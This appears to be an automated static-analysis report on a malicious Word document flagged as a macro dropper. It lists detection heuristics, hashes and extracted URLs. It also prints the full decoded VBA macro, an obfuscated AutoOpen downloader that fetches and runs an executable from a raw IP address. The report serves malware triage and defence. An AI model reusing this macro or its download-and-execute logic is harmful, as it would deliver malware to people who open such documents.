Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 870c6ac082672852…

MALICIOUS

Office (OLE)

43.5 KB Created: 2015-07-06 16:17:00 Authoring application: Microsoft Office Word First seen: 2015-10-13
MD5: e105aa36bf855925864d9da8bcf32d70 SHA-1: 899f866f90681b9317143375bbdecfd9085cf91a SHA-256: 870c6ac0826728521f31ce93c6c93b07019b55a1564fefe60f4b569a4d9d4dae
412 Risk Score

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run (Replace(c, "https://www.google.com/images/srpr/logo1w.png", e)), 0, True
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    CreateObject("WScript.Shell").Run (Replace(c, "https://www.google.com/images/srpr/logo1w.png", e)), 0, True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject("WScript.Shell").Run (Replace(c, "https://www.google.com/images/srpr/logo1w.png", e)), 0, True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://178.33.63.68/putstorage/DownloadFileHash/A5702AF53A5A4A5QQWE1478675EWQS/pym_wsdjc.exe Referenced by macro
    • http://178.33.63.68/putstorage/DownloadFileReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • https://www.google.com/images/srpr/logo1w.pngReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2374 bytes
SHA-256: 042260c9cf1dab877d997f0a868805cac09515362e9123e67cae4d9059523466
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim a, b, c, d, e, f
Dim r
r = 0
r = 12333 + 1
e = "http://178.33.63.68/putstorage/DownloadFileHash/A5702AF53A5A4A5QQWE1478675EWQS/pym_wsdjc.exe"
a = "Y21kLmV4ZSAvYyBjZCBjOlx1c2Vyc1xwdWJsaWNcZG9jdW1lbnRzICYgKGVjaG8gYSA9ICJodHRwczovL3d3dy5nb29nbGUuY29tL2ltYWdlcy9zcnByL2xvZ28xdy5wbmciICYgZWNobyBiID0gTWlkXihhLCBJblN0clJldl4oYSwgIi8iXikgXisgMSwgTGVuXihhXileKSAmIGVjaG8gU2V0IGMgPSBDcmVhdGVPYmplY3ReKCJNU1hNTDIuWE1MSFRUUCJeKSAmIGVjaG8gU2V0IGQgPSBDcmVhdGVPYmplY3ReKCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCJeKSAmIGVjaG8gU2V0IGUgPSBDcmVhdGVPYmplY3ReKCJBRE9EQi5TdHJlYW0iXikgJiBlY2hvIFNldCBmID0gQ3JlYXRlT2JqZWN0XigiV1NjcmlwdC5TaGVsbCJeKSAmIGVjaG8gSWYgZC5GaWxlRXhpc3RzXihiXikgVGhlbiBkLkRlbGV0ZUZpbGVeKGJeKSAmIGVjaG8gYy5vcGVuICJHRVQiLCBhLCBGYWxzZSAmIGVjaG8gYy5zZW5kICYgZWNobyBJZiBjLlN0YXR1cyA9IDIwMCBUaGVuICYgZWNobyBXaXRoIGUgJiBlY2hvIC5UeXBlID0gMSAmI" + _
"GVjaG8gLk9wZW4gJiBlY2hvIC5Xcml0ZSBjLnJlc3BvbnNlQm9keSAmIGVjaG8gLlNhdmVUb0ZpbGUgYiAmIGVjaG8gLkNsb3NlICYgZWNobyBFbmQgV2l0aCAmIGVjaG8gSWYgZC5GaWxlRXhpc3RzXihiXikgVGhlbiAmIGVjaG8gZi5SdW5eKGJeKSAmIGVjaG8gRW5kIElmICYgZWNobyBFbmQgSWYgJiBlY2hvIGQuRGVsZXRlRmlsZV4oV1NjcmlwdC5TY3JpcHRGdWxsTmFtZV4pICYgZWNobyBTZXQgYyA9IE5vdGhpbmcgJiBlY2hvIFNldCBkID0gTm90aGluZyAmIGVjaG8gU2V0IGUgPSBOb3RoaW5nICYgZWNobyBTZXQgZiA9IE5vdGhpbmcpID4geC52YnMgJiBzdGFydCB4LnZicw==": f = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": a = Replace(a, vbCrLf, ""): a = Replace(a, vbTab, ""): a = Replace(a, " ", ""): b = Len(a): For d = 1 To b Step 4
Dim g, h, i, j, k, l
g = 3
Dim x
x = 0
x = x + 1
k = 0
For h = 0 To 3
i = Mid(a, d + h, 1)
Dim y
y = 2
x = y + 1
If i = "=" Then
g = g - 1
j = 0
Else
j = InStr(1, f, i, vbBinaryCompare) - 1
End If
x = y + r - 1000 * 5 - r
k = 64 * k + j: Next
k = Hex(k)
k = String(6 - Len(k), "0") & k
l = Chr(CByte("&H" & Mid(k, 1, 2))) + Chr(CByte("&H" & Mid(k, 3, 2))) + Chr(CByte("&H" & Mid(k, 5, 2)))
c = c & Left(l, g)
Next
CreateObject("WScript.Shell").Run (Replace(c, "https://www.google.com/images/srpr/logo1w.png", e)), 0, True
End Sub

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